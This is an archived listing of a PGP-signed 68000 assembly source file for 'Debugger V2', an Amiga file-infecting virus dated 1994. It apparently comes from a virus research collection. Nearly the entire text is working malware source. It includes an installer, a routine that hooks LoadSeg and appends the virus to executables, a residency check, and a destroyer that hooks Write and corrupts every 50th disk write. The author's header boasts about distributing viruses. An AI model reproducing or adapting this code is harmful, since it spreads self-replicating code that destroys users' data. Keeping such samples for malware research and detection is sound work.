home *** CD-ROM | disk | FTP | other *** search
/ telefisk.org / amiga_virus_collection_research.7z / VIRUSRESEARCH / CJEZUS_VIRUS / DEBUGGER02_S.ASC < prev    next >
PGP Signed Message  |  1999-06-12  |  12KB  |  521 lines

  1. -----BEGIN PGP SIGNED MESSAGE-----
  2.  
  3. *
  4. * Debugger V2 (AmigaDOS 2.0)
  5. *
  6. * by Evil Jesus, bringing the best viruses for Amiga computers.
  7. *
  8. * Original finnish seal of quality & proof of origin and time:
  9. *
  10. * Perjantai 8.4.1994
  11. *
  12. * TV1: 14.00 Päiväopisto, elämää ja erotiikkaa
  13. * TV2: 18.25 Pelin Henki
  14. * TV3: 17.30 Kauniit ja rohkeat, perheonnea pinkillä sohvalla
  15. *      22.30 Hyvä sexiopas
  16. *
  17. * Ajattele työllisyyttä, suosi kotimaista!
  18. *
  19.  
  20. CALLLIB    MACRO
  21.     jsr    \1(a6)
  22.     ENDM
  23.  
  24. LMOVE:    macro
  25.     lea    \2(pc),a0
  26.     move.l    \1,(a0)
  27.     ENDM
  28.  
  29. MEMF_PUBLIC    = 1
  30.  
  31. Allocmem    = -198
  32. Freemem        = -210
  33. FindTask    = -294
  34. Wait        = -318
  35. PutMsg        = -366
  36. GetMsg        = -372
  37. ReplyMsg    = -378
  38. WaitPort    = -384
  39. CloseLibrary    = -414
  40. OpenLibrary    = -552
  41. CacheClearU    = -636
  42.  
  43. Open        = -30
  44. Close        = -36
  45. Read        = -42
  46. Write        = -48
  47. Seek        = -66
  48. Lock        = -84
  49. UnLock        = -90
  50. Info        = -114
  51. CurrentDir    = -126
  52. GetProgramName    = -576
  53. GetProgramDir    = -600
  54.  
  55. ; Installer: Executable file, not overlayed
  56. ; After you have started infected file virus is able to infecte almost
  57. ; all exe-files.
  58.  
  59.     moveq    #0,d0
  60.     lea    dos(pc),a1
  61.     move.l    $4.w,a6
  62.     CALLLIB    OpenLibrary
  63.     move.l    d0,a6
  64.     pea    name(pc)
  65.     move.l    (sp)+,d1
  66.     move.l    #1005,d2
  67.     CALLLIB    Open
  68.     move.l    d0,d5
  69.  
  70.     bsr.w    HunkChange
  71.  
  72.     move.l    d5,d1
  73.     CALLLIB    Close
  74.     move.l    a6,a1
  75.     move.l    $4.w,a6
  76.     CALLLIB    CloseLibrary
  77.     rts
  78.  
  79. dos    dc.b    'dos.library',0
  80. name    dc.b    'ram:Infect',0
  81.     EVEN
  82.  
  83. * Debugger V2.0 Virus / Made 1994 By Evil Jesus
  84.  
  85. Start
  86.         dc.l    $3f1
  87.         dc.l    [VEnd-Start-12]/4
  88. RealProg    ; Virusheader jumps here
  89.         ; Input    d4 Fh
  90.         ;    a4 Start
  91.         ;    a5 ExecBase
  92.         ;    a6 DosBase
  93.         ; Stack    Old currentdir lock
  94.         ;    Message / Only when WB-launch is detected.
  95.         ;    MessagePort
  96.  
  97.         exg    a5,a6
  98.         move.l    d4,d1
  99.         CALLLIB    Close            ; Close file
  100.         move.l    (sp)+,d1        ; Restore dir
  101.         CALLLIB    CurrentDir
  102.         exg    a5,a6
  103.         move.l    a5,a1            ; Close doslib
  104.         CALLLIB    CloseLibrary
  105.         cmp.l    #0,a3
  106.         bne.s    CLILaunch
  107.         move.l    (sp)+,a1        ; Message
  108.         move.l    (sp)+,a0        ; MessagePort
  109.         CALLLIB    PutMsg            ; WBLaunch will otherwise fail
  110. CLILaunch
  111.         move.l    60(a7),a3        ; Address to start of first hunk
  112.         move.l    #[HeadE-HeadSave],d0
  113.         move.l    d0,d2
  114.         moveq    #MEMF_PUBLIC,d1
  115.         CALLLIB    Allocmem
  116.         LMOVE    d0,HeaderAdr        ; Header of linked file
  117.         move.l    a3,a0
  118.         move.l    d0,a1
  119.         addq.w    #4,a1            ; Space for Hunk_Size
  120.         lea    Safe(pc),a2
  121.         subq.w    #5,d2
  122. Loop01        move.b    (a0),(a1)+        ; Get header
  123.         move.b    (a2)+,(a0)+        ; Old data back
  124.         dbf    d2,Loop01
  125.         bsr.w    DoReloc            ; Correct reloc
  126.         bsr.w    Flush
  127.  
  128.         bsr.w    Alive
  129.         tst.l    d0
  130.         beq.s    KillMe
  131.  
  132.         lea    SegLink(pc),a2
  133.         lea    OldJ+2(pc),a3
  134.         move.w    #-150,d0
  135.         bsr.b    LinkMe            ; Link me to loadseg
  136.         moveq    #40,d0
  137.         moveq    #MEMF_PUBLIC,d1
  138.         CALLLIB    Allocmem
  139.         LMOVE    d0,InfoData        ; Space for InfoData
  140.     
  141.         bsr.s    PrepareEvil        ; Write function linkage
  142.         bra.s    EvilOk
  143.  
  144. KillMe
  145.         move.l    #[HeadE-HeadSave],d0    ; Free virusheader
  146.         move.l    HeaderAdr(pc),a1
  147.         CALLLIB    Freemem
  148.         move.l    #[VEnd-Start],d0    ; Free me
  149.         lea    Start(pc),a1
  150.         CALLLIB    Freemem            ; This may force system to crash!
  151. EvilOk        movem.l    (sp)+,d0-d7/a0-a6
  152.         rts                ; Address is in stack!
  153.  
  154. ;        ---- This section contains destroyer ----
  155.  
  156. PrepareEvil    ; Write-routine linkage, will destroy data when saving.
  157.         lea    LinkWrite(pc),a2
  158.         lea    OldJ2+2(pc),a3
  159.         moveq    #-48,d0
  160.         bra.s    LinkMe            ; Link me to Write
  161.  
  162. LinkWrite    ; Every 50. disk-write will be corrupted
  163.         movem.l    d0-d7/a1-a6,-(sp)
  164.         lsl.l    #2,d1
  165.         move.l    d1,a0            ; Handle
  166.         tst.l    4(a0)            ; Interactive?
  167.         bne.s    NotYet
  168.         lea    Patient(pc),a0
  169.         subq.w    #1,(a0)+
  170.         bne.s    NotYet
  171.         addq.l    #1,(a0)            ; Add count of write corrupts
  172.         move.w    #50,-(a0)        ; Reset wait
  173.         move.l    d2,a0            ; Write buffer
  174.         lsr.l    #1,d3            ; Lenght / 2
  175.         add.l    d3,a0
  176.         not.b    (a0)            ; Corrupt!
  177. NotYet        movem.l    (sp)+,d0-d7/a1-a6
  178.         movem.l    a0,-(sp)
  179. OldJ2        jsr    $0
  180.         movem.l    (sp)+,a0
  181.         not.b    (a0)            ; Restore
  182.         rts
  183.  
  184. ;        ---- Data corruptor code ends ----
  185.  
  186. LinkMe        ; Input    a2 New routine address
  187.         ;    a3 New routines link to old
  188.         ;    a5 DosBase
  189.         ;    d0 DosRoutine OffSet
  190.         move.l    2(a5,d0.w),(a3)        ; Save old jump
  191.         move.l    a2,2(a5,d0.w)        ; Link my routine
  192.         bsr.b    Flush
  193.         rts
  194.  
  195. Alive:        ; Check if virus is already in memory
  196.         ; Input     a5 DosBase
  197.         ; Output d0 0=Virus already in memory
  198.         cmp.w    #$4ef9,-150(a5)        ; Check if KickStart1.2/3
  199.         bne.s    ILive
  200.         move.l    -148(a5),a0
  201.         cmp.l    #' DEB',[Check-SegLink](a0)    ; Check data
  202.         beq.s    ILive
  203. ILiveSoon    moveq    #-1,d0
  204.         rts
  205. ILive        moveq    #0,d0
  206.         rts
  207.  
  208. Flush:        movem.l    d0-d7/a0-a6,-(sp)
  209.         move.l    $4.w,a6
  210.         CALLLIB    CacheClearU
  211.         movem.l    (sp)+,d0-d7/a0-a6
  212.         rts
  213.  
  214. DoReloc        ; Correct reloc of first hunk
  215.         ; Input    a3 Start of hunk
  216.         move.l    a3,a0
  217.         move.l    Reloc(pc),d0        ; Address: reloc32
  218.         lsl.l    #2,d0
  219.         add.l    d0,a0            ; Start of relochunk
  220.         addq.l    #4,a0            ; $3ec is unimportant
  221.         lea    -4(a3),a1        ; Segment 0
  222. NextHunk    move.l    a1,a2
  223.         move.l    (a0)+,d0        ; How many offsets
  224.         beq.s    NoNeed
  225.         move.l    (a0)+,d1        ; Hunk Number
  226.         beq.s    Hunk0
  227.         subq.w    #1,d1
  228. Loop03        move.l    (a2),a2            ; Next segment
  229.         add.l    a2,a2
  230.         add.l    a2,a2
  231.         dbf    d1,Loop03
  232. Hunk0        move.l    a2,d3
  233.         addq.l    #4,d3
  234.         subq.w    #1,d0            ; Hopefully there is under 65535
  235. Loop08        move.l    (a0)+,d2        ; Offset
  236.         add.l    d3,0(a3,d2.l)        ; Correct hunk
  237.         dbf    d0,Loop08
  238.         bra.s    NextHunk
  239. NoNeed        rts
  240.  
  241. SegLink        ; Linked to loadseq routine
  242.         move.l    a0,-(sp)
  243.         LMOVE    d1,FName
  244.         move.l    (sp)+,a0
  245. OldJ        jsr    $0            ; Load original code
  246.         movem.l    d0-d7/a0-a6,-(sp)
  247.         tst.l    d0
  248.         beq.s    SegError
  249.         lsl.l    #2,d0            ; Coz of BCPL
  250.         move.l    d0,a0            ; Program code
  251.         addq.l    #4,a0
  252.         move.l    a0,a2
  253.         move.l    HeaderAdr(pc),a1
  254.         addq.l    #4,a1
  255.         move.w    #[HeadE-HeadS]-1,d0
  256. Loop04        move.b    (a0)+,d1        ; Check if file is already infected
  257.         cmp.b    (a1)+,d1
  258.         bne.s    Infect
  259.         dbf    d0,Loop04
  260.         bra.s    SegError
  261.  
  262. Infect:
  263.         moveq    #0,d0            ; Infect file
  264.         move.l    HeaderAdr(pc),a1
  265.         lea    [LDos-HeadSave](a1),a1    ; dos.library name
  266.         bsr.w    DiskProtection        ; Check if you can write to media
  267.         tst.l    d0
  268.         beq.s    SegError
  269.         move.l    FName(pc),d1        ; Address to FileName
  270.         move.l    #1005,d2
  271.         CALLLIB    Open
  272.         move.l    d0,d5
  273.         beq.s    OpenError        ; Coz of overlays
  274.         bsr.s    HunkChange        ; Link program to file
  275.         move.l    d5,d1
  276.         CALLLIB    Close
  277. OpenError
  278. SegError    movem.l    (sp)+,d0-d7/a0-a6
  279.         rts
  280.  
  281. HunkChange    ; Link virus to file
  282.         ; Input    d5 FileHandle
  283.         ; ! It is good idea to check protection bits and change
  284.         ;   file size back to original !
  285.  
  286.         move.l    HeaderAdr(pc),a3    ; Where is linkheader
  287.  
  288.         move.l    d5,d1
  289.         move.l    InfoData(pc),d2
  290.         moveq    #6*4,d3
  291.         CALLLIB    Read
  292.         move.l    InfoData(pc),a2
  293.         cmp.l    #$3f3,(a2)+
  294.         bne.w    NotExe
  295.         tst.l    (a2)+            ; If Hunk_names linking is impossible
  296.         bne.w    NotExe
  297.         addq.l    #4,a2            ; Jump over hunkcount
  298.         move.l    4(a2),d0        ; This way is needed coz of overlay
  299.         sub.l    (a2),d0            ; How many hunks
  300.         addq.l    #1,d0
  301.         cmp.l    -4(a2),d0        ; Overlayed files cannot be infected
  302.         bne.w    NotExe
  303.         lsl.l    #2,d0
  304.         addq.l    #8,a2
  305.         move.l    (a2),d1
  306.         and.l    #$3fffffff,d1        ; Coz of CHIP mark
  307.         cmp.l    #[HeadE-HeadSave]/4,d1    ; Enough room for header?
  308.         blo.w    NotExe
  309.         move.l    d0,d7
  310.         add.l    #6*4,d7            ; Bytes from start to linkplace
  311.         move.l    (a2),(a3)        ; Old size of the first hunk
  312.  
  313.         move.l    d5,d1            ; Filepointer to first hunk
  314.         move.l    d7,d2
  315.         moveq    #-1,d3
  316.         addq.l    #4,d2
  317.         CALLLIB    Seek
  318.         move.l    d5,d1            ; Read old data from hunk
  319.         pea    Safe(pc)
  320.         move.l    (sp)+,d2
  321.         move.l    #[HeadE-HeadS],d3
  322.         CALLLIB    Read
  323.  
  324.         lea    Safe+2(pc),a0        ; Lib/dev check
  325.         cmp.w    #$4afc,(a0)
  326.         beq.b    NotExe
  327.         cmp.w    #$4e75,(a0)+
  328.         beq.b    NotExe
  329.         cmp.w    #$4afc,(a0)
  330.         beq.b    NotExe
  331.  
  332.         bsr.w    RelocMe            ; Merge first hunk and its reloc
  333.         tst.l    d0
  334.         beq.s    NotExe
  335.  
  336. NoRelocProblems
  337.         and.l    #$3fffffff,(a3)        ; Remove possible CHIP mark
  338.         move.l    d5,d1            ; Filepointer to first hunk
  339.         move.l    d7,d2
  340.         moveq    #-1,d3
  341.         CALLLIB    Seek
  342.         move.l    d5,d1            ; Save VirusHeader to hunk
  343.         move.l    a3,d2
  344.         move.l    #[HeadE-HeadSave],d3
  345.         CALLLIB    Write
  346.  
  347.         move.l    d5,d1            ; Filepointer to end-4 (Overide $3f1)
  348.         moveq    #-4,d2
  349.         moveq    #1,d3
  350.         CALLLIB    Seek
  351.         move.l    d5,d1            ; Save realprog
  352.         pea    Start(pc)
  353.         move.l    (sp)+,d2
  354.         move.l    #[[VEnd-Start+2]/4]*4,d3
  355.         CALLLIB    Write
  356.  
  357.         lea    EvilCount(pc),a0    ; One file more is debugged!
  358.         addq.l    #1,(a0)
  359. NotExe        rts
  360.  
  361. DiskProtection    ; Check write protection and free space
  362.         ; Output d0 0=Writing impossible
  363.         move.l    FName(pc),d1
  364.         moveq    #-1,d2
  365.         CALLLIB    Lock
  366.         move.l    d0,d1
  367.         move.l    d0,d3
  368.         move.l    InfoData(pc),d2
  369.         CALLLIB    Info
  370.         move.l    d3,d1
  371.         CALLLIB    UnLock
  372.         move.l    InfoData(pc),a0
  373.         cmp.l    #82,8(a0)        ; DiskState
  374.         bne.s    DiskAlert
  375.         move.l    12(a0),d0        ; How many blocks in the disk
  376.         sub.l    16(a0),d0        ; How many blocks used
  377.         cmp.l    #8192,d0        ; Floppy is too slow
  378.         blo.s    DiskAlert
  379.         moveq    #-1,d1
  380.         rts
  381. DiskAlert    moveq    #0,d0
  382.         rts
  383.  
  384. FindPlace    ; Find & read next possible reloc hunk
  385.         ; Input    d4 Offset in long-words (From end of first hunk)
  386.         move.l    d4,d2
  387.         add.l    (a3),d2
  388.         lsl.l    #2,d2
  389.         add.l    d7,d2            ; Offset to linkplace
  390.         addq.l    #4,d2
  391.         move.l    d5,d1
  392.         moveq    #-1,d3
  393.         CALLLIB    Seek
  394.         move.l    d5,d1
  395.         move.l    InfoData(pc),d2
  396.         moveq    #8,d3
  397.         CALLLIB    Read
  398.         rts
  399.  
  400. RelocMe        ; Analyze how large reloc hunk is
  401.         ; Output d0 0=Relocmerge failed
  402.         moveq    #0,d4
  403.         bsr.s    FindPlace
  404.         move.l    InfoData(pc),a2
  405.         cmp.l    #$3ec,(a2)
  406.         bne.s    RelocProblems
  407.         move.l    4(a2),d4        ; How many offsets
  408.         addq.l    #3,d4            ; Coz of relocs additional information
  409. Loop07        bsr.s    FindPlace
  410.         tst.l    (a2)
  411.         beq.s    RelocEnd
  412.         add.l    (a2),d4
  413.         addq.l    #2,d4            ; Coz of additional information
  414.         bra.s    Loop07
  415. RelocEnd    addq.l    #1,d4            ; Include endmark (reloc)
  416.         LMOVE    (a3),Reloc        ; Offset to reloc32
  417.         add.l    d4,(a3)            ; New first hunk size
  418.  
  419.         move.l    d5,d1
  420.         move.l    #5*4,d2
  421.         moveq    #-1,d3
  422.         CALLLIB    Seek
  423.         lea    Patient(pc),a0        ; We don't want our data corruptor
  424.         addq.w    #3,(a0)            ; to corrupt us
  425.         move.l    d5,d1            ; Save first hunks size
  426.         move.l    a3,d2
  427.         moveq    #4,d3
  428.         CALLLIB    Write
  429.         moveq    #-1,d0
  430.         rts
  431. RelocProblems    moveq    #0,d0
  432.         rts
  433.  
  434. FName        dc.l    0        ; Address to name (When in LoadSeg)
  435. InfoData    dc.l    Need        ; Pointer to InfoData structure
  436. EvilCount    dc.l    0        ; How many infections
  437. HeaderAdr    dc.l    HeadSave    ; Address to VirusHeader
  438. Reloc        dc.l    0        ; How many bytes code after hidden
  439.                     ; reloc hunk (In first hunk)
  440. Result        dc.l    0        ; How many write corrupts
  441. Patient        dc.w    100        ; Wait destroying
  442. Safe        blk.b    186,0        ; Space for old contest of first hunk (HeadE-HeadS)
  443. Check        dc.b    ' DEBUGGER(041994) '
  444.         CNOP    0,4
  445.         dc.l    $3f2
  446. VEnd
  447.  
  448. HeadSave
  449.         dc.l    0    ; New hunksize
  450. HeadS        ; This routine will be moved to start of first hunk (VirusHeader)
  451.         pea    HeadS(pc)
  452.         movem.l    d0-d7/a0-a6,-(sp)
  453.         moveq    #0,d0    
  454.         lea    LDos(pc),a1
  455.         move.l    $4.w,a6
  456.         CALLLIB    OpenLibrary
  457.         move.l    d0,a5
  458.         move.l    #[VEnd-Start],d0
  459.         moveq    #MEMF_PUBLIC,d1
  460.         CALLLIB    Allocmem
  461.         move.l    d0,a4
  462.         sub.l    a1,a1
  463.         CALLLIB    FindTask
  464.         move.l    d0,a3
  465.         tst.l    $ac(a3)            ; Check if from WB
  466.         bne.s    CLILauncher
  467.         lea    $5c(a3),a0
  468.         CALLLIB    WaitPort
  469.         lea    $5c(a3),a0
  470.         move.l    a0,-(sp)        ; MessagePort
  471.         CALLLIB    GetMsg
  472.         move.l    d0,a3
  473.         move.l    d0,-(sp)        ; Message
  474.         move.l    $24(a3),a2        ; ArgList
  475.         move.l    (a2)+,d1        ; Lock
  476.         exg    a5,a6
  477.         CALLLIB    CurrentDir        ; Set working dir
  478.         move.l    d0,-(sp)
  479.         move.l    (a2),d1            ; Pointer to name
  480.         sub.l    a3,a3            ; Mark WBLaunch
  481.         bra.s    WBEntry
  482.  
  483. CLILauncher    exg    a5,a6
  484.         CALLLIB    GetProgramDir
  485.         move.l    d0,d1
  486.         CALLLIB    CurrentDir
  487.         move.l    d0,-(sp)
  488.         move.l    $ac(a3),d0
  489.         lsl.l    #2,d0
  490.         move.l    d0,a0
  491.         move.l    $10(a0),d1        ; Address to name (BCPL)
  492.         lsl.l    #2,d1
  493.         addq.l    #1,d1
  494.  
  495. WBEntry        move.l    #1005,d2
  496.         CALLLIB    Open            ; Open file
  497.         move.l    d0,d4
  498.         move.l    d4,d1
  499.         move.l    #-[VEnd-Start],d2
  500.         moveq    #1,d3
  501.         CALLLIB    Seek            ; Filepoint to realprog
  502.         move.l    d4,d1
  503.         move.l    a4,d2
  504.         move.l    #[VEnd-Start],d3
  505.         CALLLIB    Read            ; Load realprog
  506.         exg    a5,a6
  507.         CALLLIB    CacheClearU
  508.         jmp    8(a4)            ; Jump to realprog
  509. LDos        dc.b    'dos.library',0
  510. HeadE        EVEN
  511.  
  512. Need        blk.b    40,0
  513.  
  514. -----BEGIN PGP SIGNATURE-----
  515. Version: 2.3a.2
  516.  
  517. iQBFAgUBLaTt3I3j8jX6L7S9AQF/ogF+Ngfz00nFeA4PcKcE6x+tiu/6qMrSq/hS
  518. Yn92k0HowQ6IDn2Dxn2hcecFa562WRyw
  519. =ifbW
  520. -----END PGP SIGNATURE-----
  521.